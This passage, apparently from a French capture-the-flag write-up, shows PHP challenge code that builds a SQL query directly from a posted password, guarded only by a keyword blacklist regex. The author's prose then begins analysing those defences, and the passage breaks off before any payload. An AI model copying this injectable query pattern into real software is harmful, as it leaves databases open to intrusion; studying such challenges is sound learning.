&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$query&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;insert into rms_120_pw values(&#39;&lt;span class=&quot;es4&quot; style=&quot;color: #006699; font-weight: bold;&quot;&gt;$_SERVER[REMOTE_ADDR]&lt;/span&gt;&#39;, &#39;&lt;span class=&quot;es4&quot; style=&quot;color: #006699; font-weight: bold;&quot;&gt;$_SESSION[password]&lt;/span&gt;&#39;)&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_query&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$left_count&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$max_times&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;cnt&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;cnt&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;++;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;eregi&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_close&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$link&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;Wrong access&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$query&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;select * from rms_120_pw where (ip=&#39;&lt;span class=&quot;es4&quot; style=&quot;color: #006699; font-weight: bold;&quot;&gt;$_SERVER[REMOTE_ADDR]&lt;/span&gt;&#39;) and (password=&#39;&lt;span class=&quot;es4&quot; style=&quot;color: #006699; font-weight: bold;&quot;&gt;$_POST[password]&lt;/span&gt;&#39;)&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$q&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_query&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$res&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_fetch_array&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$q&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$res&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;ip&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;REMOTE_ADDR&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_close&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$link&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;True&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_close&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$link&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;False&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;mysql_close&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$link&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;sy1&quot; style=&quot;font-weight: bold;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;sy1&quot; style=&quot;font-weight: bold;&quot;&gt;.... code html du formulaire ...&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Pour la suite je reprendrait ce qui nous intéresse mais je vous recommande la lecture de ce code pour une meilleure compréhension.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
On peux d&#39;hors et déja se douter qu&#39;on ne sait pas encore comment mais ce password &quot;magique&quot; il nous le faut !&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
2-&lt;u&gt;Analyse de code&lt;/u&gt;:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Afin de gagner du temps (oui j&#39;ai la flemme d&#39;écrire aussi...) nous allons ici lister la vulnérabilité mais aussi et surtout les moyens mis en oeuvre pour tenter de sécuriser ce code.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
a) Les sécurités mise en oeuvre:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
la première qui saute aux yeux se trouve en ligne 44:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ol style=&quot;background-color: #f8f8f8; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;kw1&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #990000;&quot;&gt;eregi&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: blue;&quot;&gt;&quot;replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: #000088;&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;color: blue;&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none; color: #acacac;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
